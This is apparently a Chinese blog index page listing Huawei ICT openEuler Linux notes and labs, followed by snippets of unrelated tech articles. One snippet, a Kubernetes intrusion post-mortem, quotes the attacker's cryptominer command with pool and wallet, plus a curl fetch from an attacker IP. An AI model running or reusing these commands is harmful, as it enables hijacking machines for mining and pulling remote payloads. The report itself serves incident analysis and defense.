华为ICT系统集成博客清单

华为ICT系统集成博客清单

本篇博客主要用于归纳Linux学习--OpenEuler发行版本, 便于索引.

笔记

  • 系统集成01-OpenEuler操作系统入门
  • 系统集成02-命令行基础
  • 系统集成03-文本编辑器
  • 系统集成04-用户和权限管理
  • 系统集成05-安装软件和管理服务
  • 系统集成06-管理文件系统及存储
  • 系统集成07-系统管理
  • 系统集成08-使用Shell脚本
  • 系统集成09-Samba文件共享服务器管理

实验

  • ICT实战系统集成-LAB2-openEuler 命令行基础操作入门
  • ICT实战系统集成-LAB5-OpenEuler软件管理
  • ICT实战系统集成-LAB6-openEuler管理文件系统及存储
  • ICT实战系统集成-LAB9-Samba文件共享服务器管理

顺便看看?

  • 华为HCIA学习清单
  • 华为HCIP学习清单
本文转载于网络 如有侵权请联系删除

相关文章

  • Unity 接入科大讯飞语音识别及语音合成

    首先需要到科大讯飞官网开发者控制台创建一个应用,创建成功后获得服务接口认证信息,我们只需用到其中的AppID。其次需要下载自己的SDK,一些小伙伴非常擅长在网上找资源,把别人的拿过来,然后发现调用不起来,注意一定要下载自己的SDK使用,因为其中的AppID是对应的。将SDK导入到Unity工程中,在bin文件夹下可以看到dll动态库,我们在脚本中使用DllImport调用动态库中的接口。封装MSCDLL类:usingSystem; usingSystem.Runtime.InteropServices; publicclassMSCDLL { #regionmsp_cmn.h通用接口 ///<summary> ///初始化msc用户登录userlogin. ///使用其他接口前必须先调用MSPLogin,可以在应用程序启动时调用 ///</summary> ///<paramname="usr">username.此参数保留传入NULL即可</param> ///<paramname="pwd&quo

  • R语言Markowitz马克维茨投资组合理论分析和可视化

    原文链接:http://tecdat.cn/?p=14200之前我们在关于投资组合优化相关的内容中已经看到了Markowitz的理论,其中给出了预期收益和协方差矩阵>pzoo=zoo(StockIndex,order.by=rownames(StockIndex)) >rzoo=(pzoo/lag(pzoo,k=-1)-1)*100 > ans<-do.call(method,list(x=x,...))+return(getCov(ans))}>covmat=Moments(as.matrix(rzoo),"CovClassic") >(covmat=round(covmat,1)) SP500N225FTSE100CAC40GDAXHSI SP50017.812.713.817.819.518.9 N22512.736.610.815.016.216.7 FTSE10013.810.817.318.819.419.1 CAC4017.815.018.830.929.922.8 GDAX19.516.219.429.938.0

  • 缓解语言模型的挑战(CS)

    大型语言模型(LM)生成非常流畅的文本,并可以有效地跨NLP任务进行调整。从安全角度衡量和保证生成文本的质量是在现实世界中部署lm的必要条件;为此,之前的工作往往依赖于LM毒性的自动评估。我们对这种方法进行了批判性的讨论,评估了几种关于自动和人工评估的毒性缓解策略,并根据模型偏差和LM质量分析了毒性缓解的后果。我们证明,虽然基本干预策略可以有效地优化RealToxicityPrompts数据集上先前建立的自动度量,但这是以减少边缘化群体文本和方言的LM覆盖为代价的。此外,我们发现,人类评分者往往不同意在强毒性降低干预后的高自动毒性评分,这进一步突出了仔细评估LM毒性所涉及的细微差别。原文题目:ChallengesinDetoxifyingLanguageModels原文:Largelanguagemodels(LM)generateremarkablyfluenttextandcanbeefficientlyadaptedacrossNLPtasks.Measuringandguaranteeingthequalityofgeneratedtextintermsofsafetyisim

  • Angular Lazy load(延迟加载,惰性加载) 机制和 feature module 的学习笔记

    官网链接默认情况下,NgModules是贪婪加载的,这意味着一旦应用程序加载,所有NgModules也会加载,无论它们是否立即需要。对于有很多路由的大型应用程序,可以考虑延迟加载——一种根据需要加载NgModules的设计模式。延迟加载有助于保持较小的初始包大小,从而有助于减少加载时间。要惰性加载Angular模块,请在AppRoutingModuleroutes中使用loadChildren代替component进行配置,代码如下。constroutes:Routes=[ { path:'items', loadChildren:()=>import('./items/items.module').then(m=>m.ItemsModule) } ];复制在惰性加载模块,也就是被AppRoutingModule加载的模块,的路由模块中,添加一个指向该组件的路由。constroutes:Routes=[ { path:'', component:ItemsComponent } ];复制还要确保从AppModule

  • MySQL5.7数据库主从架构部署,你再也不用去问度娘了程

     啰嗦的话,不多说,我们直接开始部署,我相信有点linux基础的人都能看得懂。  Mysql5.7.22主从部署,既然是主从那肯定是需要至少2台服务器了,2台的安装都是一样的,请看下面!1、创建mysql用户:useradd-m-d/home/mysqlmysql  2、上传mysql-5.7.22-linux-glibc2.12-x86_64.tar.gz安装包到/app目录下。  附官方下载链接:https://dev.mysql.com/downloads/file/?id=4769363、解压安装包到/app目录下tar-zxvfmysql-5.7.22-linux-glibc2.12-x86_64.tar.gz  4、将解压完的安装包重命名为:mysql5722mvmysql-5.7.22-linux-glibc2.12-x86_64mysql5722复制 5、进入mysql5722目录下创建data、logs目录。cdmysql5722/   mkdirdata&&mkdirlogs复制6、进入刚刚创建的logs目录下创建日志文件  cdlogstouche

  • 记一次 Kubernetes 中严重的安全问题

    此事件发生在2021-03月份.近期遇到了一次我们自建Kubernetes集群中某台机器被入侵挖矿,后续也找到了原因,所幸只是用来挖矿…网络安全是个严肃的问题,它总是在不经意间出现,等你反应过来却已经迟了.希望各位读者看完后也有所启发,去检查及加固自己的集群.入侵现象检查到某台机器中出现了异常进程./.system-opool.supportxmr.com:3333--donate-level=1--coin=monero-u46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm curl-shttp://45.9.148.35/scan_threads.dat复制简单来讲,就是我们的机器被用来挖矿了…问题出现后,我们第一时间关闭了docker,其实应该隔离下环境,把挖矿程序dump下来,以便后续分析.具体原因排查iptables为空出现了异常进程,肯定是被入侵了,我首先看的是iptables.果不其然,机器上的iptables规则是空的,意味着这台机器在裸奔.ku

  • 在Google Analytics中如何识别微信的流量

    微信现在是如日中天,不可避免的吸引了很多营销人员的注意力,在微信上面做营销,导流,接下来介绍一些如何在GoogleAnalyitcs中识别从微信过来的流量以及如何做细分?识别的原理GoogleAnalytics识别微信流量是通过url来实现的,也就是page这个字段,如果你在微信中打开一个页面,会自动的变成https://www.ichdata.com/?from=message&isappinstalled=0(from的值可能会是其他关键字),微信在链接后面添加参数from和isappinstalled,你就可以通过这两个关键字去将微信流量划分出来。参数解析from参数message表示好友消息中的文字链接singlemessage表示转发给单个好友的图文消息groupmessage表示转发给微信群的图文消息timeline表示转发到朋友圈的图文消息,这个就是你分享到朋友圈的了isappinstalled参数这个表示APP是否安装的,但是绝大部分的情况是下0的,所以你可以忽略的。面临的挑战但是并不是所有的微信过来的流量都会带有上面的关键字的,实践过程中,我发现了部分微信流量

  • Docker 容器的健康检查

    Docker容器的健康检查健康检查(HEALTHCHECK)指令简介健康检查(HEALTHCHECK)指令告诉Docker如何检查容器是否仍在工作。它能够监测类似一个服务器虽然服务进程仍在运行,但是陷入了死循环,不能响应新的请求的情况。当一个容器有指定健康检查(HEALTHCHECK)时,它除了普通状态之外,还有健康状态(healthstatus)。健康状态的初始状态是正在启动(starting),一旦通过了一个健康检查,它将变成健康(healthy)(不管之前的状态是什么),经过一定数量的连续失败之后,它将变成不健康(unhealthy)。健康检查(HEALTHCHECK)指令有两种形式:HEALTHCHECK[OPTIONS]CMDcommand通过运行容器内的一个指令来检查容器的健康情况;HEALTHCHECKNONE禁用任何(包括基层至父镜像)健康检查指令。可以出现在CMD之前的选项有:--interval=DURATION间隔时间,默认30s(30秒);--timeout=DURATION超时时间,默认30s(30秒);--start-period=DURATION启动时间

  • 运维学python之爬虫中级篇(七)Sq

    前文已经讲过无数据库版本操作(csv,json),今天我们要开始讲有数据库版本的操作,首先就是sqlite3。1介绍SQLite是一个C库,它提供了一个轻量级的基于磁盘的数据库,它不需要单独的服务器进程,并且允许使用SQL查询语言的非标准格式来访问数据库。一些应用程序可以使用SQLite进行内部数据存储。还可以使用SQLite对应用程序进行原型化,然后将代码移植到更大的数据库,如PostgreSQL或Oracle。2sqlite3简单使用sqlite3模块是由GerhardHäring写的,它提供了与PEP249所描述的db-api2.0规范兼容的SQL接口。要使用这个模块,首先必须创建一个表示数据库的连接对象。这里的数据将存储在示例中。db文件:#-*-coding:utf-8-*- importsqlite3 #创建数据库连接对象,存储在test.db中 conn=sqlite3.connect('test.db')复制您还可以提供特殊的名称:memory:在RAM中创建一个数据库。 有了连接对象后,就可以创建一个Cursor对象,并调用它的execute()

  • QML自定义滚动选择条

    在PathView控件基础上加入滚动选择条,滚动选择条在这基础上加入Key-Value的做法,key为显示内容,value为实际内容,这样可以避免内容上的转换。WheelView使用示例Row{ anchors.centerIn:parent spacing:50 WheelView{ width:100;height:400 model:[{display:"0",value:0}, {display:"1",value:1}, {display:"2",value:2}, {display:"3",value:3}, {display:"4",value:4}, {display:"5",value:5}, {display:"6",value:6}, {display:"7",value:7}, {display:"8",value:8}, {display:"9",value:9

  • 机器学习笔试题精选(一)

    版权声明:本文为博主原创文章,未经博主允许不得转载。https://blog.csdn.net/red_stone1/article/details/80982149红色石头的个人网站:redstonewill.com 机器学习是一门理论性和实战性都比较强的技术学科。在应聘机器学习相关工作岗位时,我们常常会遇到各种各样的机器学习问题和知识点。为了帮助大家对这些知识点进行梳理和理解,以便能够更好地应对机器学习笔试包括面试。红色石头准备在公众号连载一些机器学习笔试题系列文章,希望能够对大家有所帮助!Q1.在回归模型中,下列哪一项在权衡欠拟合(under-fitting)和过拟合(over-fitting)中影响最大?A.多项式阶数B.更新权重w时,使用的是矩阵求逆还是梯度下降C.使用常数项答案:A解析:选择合适的多项式阶数非常重要。如果阶数过大,模型就会更加复杂,容易发生过拟合;如果阶数较小,模型就会过于简单,容易发生欠拟合。如果有对过拟合和欠拟合概念不清楚的,见下图所示:Q2.假设你有以下数据:输入和输出都只有一个变量。使用线性回归模型(y=wx+b)来拟合数据。那么使用留一法(Leav

  • 用CSS画一个QQ音乐图标

    主要用到了relative定位、border的垂直和水平分量,之所以用区块遮盖实现内凹,因为radial-gradient我不太熟悉。<head> <style> :root{ --color:rgb(68,202,68); } .div{ width:240px; height:240px; border-radius:120px; background-color:rgb(235,227,128); } .music{ --vertical:40px; --horizontal:50px; width:100px; height:80px; background:var(--color); border-bottom-left-radius:var(--horizontal)var(--vertical); border-bottom-right-radius:var(--horizontal)var(--vertical); border-top-left-radius:var(--horizontal)var(--vertical); border-

  • 程序员遇到bug时常见的30种反应,你躺枪了么?

    开发应用程序是一项压力很大的工作,人无完人,工作中遇到bug是很正常的事,有些程序员会生气,沮丧,郁闷,甚至泄气,也有一些程序员则会比较淡定。如何进行修复bug的过程,是值得我们好好推敲的。我想分享一些有关程序员在努力修复bug时常说的话和冒出的想法。当氛围变得紧张的时候,这些话就会显得轻松幽默。最终,bug也会修复成功,你将会继续下一个任务。我相信许多web开发人员和软件工程师在编程中都会遇到困难,而事后回想起来,还会觉得很好笑。不知道同为程序员的你,是否也躺枪了呢?1我不知道该删掉还是重写回归曾经写的源代码,总有一种想要重新返工的冲动,逻辑性差,冗余代码多,让人难以理解。但是,如果功能没出现问题,千万不要去修改。这是我经常要面对的困扰,相信也困扰了其他不少的软件开发者。2一开始架构时就该查Github相信绝大多数开发人员都知道Github,它上面每天都会发布的一些神奇的开源项目。涉足所有计算机语言的程序员,会利用网络对现有项目进行分叉,在维基论坛谈论或者回购他们自己的源代码,这些都为各种各样的项目的插件和模板提供了很多丰富的资源。3为什么这个脚本要依赖这么多库说到一些越来越被广泛使

  • 为什么做To B的都这么累?

    十年来我们一直专注于企业级市场报道和研究,从传统信息化到今天云计算,走过十年风雨,也见证了这个行业的潮起潮落,回头再看难免有些许伤感,都说ToB是风口,甚至连BAT都相信这句话是真的,口号喊了这么多年,风是来了又走,走了又来,但吹来的都是龙卷风,风停了遍地狼藉满目疮痍,留给我们是无尽的思考和无限的等待。一直在追赶从来未超越前两天华为的轮值董事长徐直军表示,中国软件产业只是“表面繁荣”,缺乏真正成功的软件公司。这句话深深的刺痛了所有软件人的神经,但的确这就是中国软件行业的真实写照,三十年前我们就提出要赶超欧美,三十年后涛声依旧。就连跟国外软件抗争多年的用友和金蝶,在今天来看也不算是一个是成功的软件企业,所有的风口用友都踩过但是都没有飞起来,用友在2017年的营收只有60亿人民币左右,金蝶也只有20多亿人民币,别说跟SAP和Oracle相比了,随随便便拿出一家稍微知名一点的国外的软件公司市值都已超过了用友和金蝶。有人说在30年前无论从产业链视角看,中国软件产业缺乏基础软件,包括操作系统、数据库、中间件、工业软件,在价值链上应用环节多,无法构成独立的生态。但是在30年后云计算风起云涌的时候,

  • 400页共计800道软件测试面试真题汇总!超全干货

    800道软件测试面试真题,高清打印版打包带走,横扫软件测试面试高频问题,涵盖测试理论、Linux、MySQL、Web测试、接口测试、APP测试、Python、Selenium、性能测试、LordRunner、计算机网络、数据结构与算法、逻辑思维、人力资源等模块面试题,命中率杠杠的。 PS:合参考答案有有几十万字,就没有全部放上来了,打印版本超过400多页 整理不易,留个赞同关注,私我分享给大家,不让测试人孤寂的成长!   400页超800面试真题打印版 1测试理论 1.1测试基础 1、什么是软件测试? 2、软件测试的目的? 3、软件测试的目标 4、软件测试的原则 5、测试的工作流程 6、测试工程师的职责 7、软件都有多少种分类? 8、软件的分类 9、测试的主要方面 10、软件测试的对象 11、什么是“测试案例”? 12、怎么编写案例? 13、软件测试的两种方法 14、测试结束的标准是什么? 15、软件的生命周期 16、什么是软件的生命周期? 17、软件测试按过程分为三个步骤 18、面向对象的设计如何影响测试? 19、软件带来错误的原因很多。主要的原因有哪些? 20、做好软

  • 12 October

    次小生成树 http://poj.org/problem?id=1679 不难得出,次小生成树可以由最小生成树更换一条边得到。 首先构造原图的最小生成树,然后枚举每一条不在最小生成树中的边(u,v,w),尝试将这条边加入生成树,因为直接加入边会产生环,所以我们需要在加边之前删去最小生成树上u到v的路径上权值最大的边。在枚举每一条边时我们都会得到一棵生成树,这些生成树中边权和最小的即为要求的次小生成树。 需要在构造最小生成树时将完整的树结构构造出来,并且使用树上倍增算法查询两点间边权值最大的值。 强连通分量 在一个有向图中,如果某两点间都有互相到达的路径,那么称中两个点强连通,如果任意两点都强连通,那么称这个图为强连通图;一个有向图的极大强连通子图称为强连通分量。 https://oi.men.ci/tarjan-scc-notes/ https://www.cnblogs.com/stxy-ferryman/p/7779347.html 一个强连通分量中的点一定处于搜索树中同一棵子树中。 Tarjan算法: low[]表示这个点以及其子孙节点连的所有点中dfn最小的值. s[]表示当

  • 一次HTTP完整请求之——tomcat详解

    链接地址➡点我 一、Tomcat顶层架构 先上一张Tomcat的顶层结构图(图A),如下:   Tomcat中最顶层的容器是Server,代表着整个服务器,从上图中可以看出,一个Server可以包含至少一个Service,用于具体提供服务。 Service主要包含两个部分:Connector和Container。从上图中可以看出Tomcat的心脏就是这两个组件,他们的作用如下: 1、Connector用于处理连接相关的事情,并提供Socket与Request和Response相关的转化; 2、Container用于封装和管理Servlet,以及具体处理Request请求; 一个Tomcat中只有一个Server,一个Server可以包含多个Service,一个Service只有一个Container,但是可以有多个Connectors,这是因为一个服务可以有多个连接,如同时提供Http和Https链接,也可以提供向相同协议不同端口的连接,示意图如下(Engine、Host、Context下边会说到):   多个Connector和一个Container就

  • MySQL安装、配置、测试

    MySQL安装、配置、测试(win7_64bit)     目录       1.概述       2.本文用到的工具       3.MySQL安装配置       4.Java访问MySQL测试       5.注事事项       6.相关博文   >>看不清的图片可在新标签打开查看大图 1.概述   MySQL是一个开源轻便的关系型数据库系统,在开发中被广泛使用。   MySQL简洁,但功能强大,其使用的SQL语言与其他数据库很类似,所以学会MySQL,迁移到其他数据库时会容易很多。   2.本文用到的工具    MySQL数据库安装包:网盘下载(v5.5.49)    MySQL的JDBC驱动(连接Java使用):网盘下载(v5.1.39)    测试源码   若需要其他版本的MySQL,可在官网查询...   3.MySQL安装配置   3.1安装之前,建议MySQL本身安装到C盘,而MySQL的JDBC驱动可以存放到其他地方:   3.2安装MySQL,选择默认安装路径(节选了关键步骤)。   3.3启动和关闭服务 &nbs

  • C++STL笔记

    在c++中,vector是一个十分有用的容器。   作用:它能够像容器一样存放各种类型的对象,简单地说,vector是一个能够存放任意类型的动态数组,能够增加和压缩数据。   vector在C++标准模板库中的部分内容,它是一个多功能的,能够操作多种数据结构和算法的模板类和函数库。     特别注意:   使用vector需要注意以下几点:   1、如果你要表示的向量长度较长(需要为向量内部保存很多数),容易导致内存泄漏,而且效率会很低;   2、Vector作为函数的参数或者返回值时,需要注意它的写法:      double Distance(vector<int>&a, vector<int>&b) 其中的“&”绝对不能少!!!     实例:vector<int>test;   //建立一个vector,int为数组元素的数据类型,test为动态数组名

  • apache vhost

    同一IP,不同端口的情况:一、在主机配置文件httpd.conf中增加一个虚拟主机监听的端口(如:Listen9091),不会覆盖原Listenport;二、httpd.conf中开启#VirtualhostsIncludeconf/extra/httpd-vhosts.conf三、httpd-vhosts.conf1、NameVirtualHost192.168.0.37:90912、<VirtualHost192.168.0.37:9091>ServerAdmintest@163.comDocumentRoot"E:"ServerName192.168.0.37</VirtualHost> 3、<VirtualHost192.168.0.37:9091> ServerAdmintest@163.com #虚拟主机目录 DocumentRoot"E:/c"  #虚拟主机目录设置允许全部,不然会出现403错误 <directory"E:/c">  a

  • homestead 安装 laravel 6.*报错

    DeclarationofSymfony\Component\Translation\TranslatorInterface::setLocale($locale)mustbecompatiblewithSymfony\Contracts\Translation\LocaleAwareInterface::setLocale(string$locale) "require":{ "php":"^7.2", "encore/laravel-admin":"^1.7", "fideloper/proxy":"^4.0", "laravel/framework":"^6.2", "laravel/tinker":"^2.0", "symfony/translation":"4.3.8"//加这行再composerupdate }, 复制   

相关推荐

推荐阅读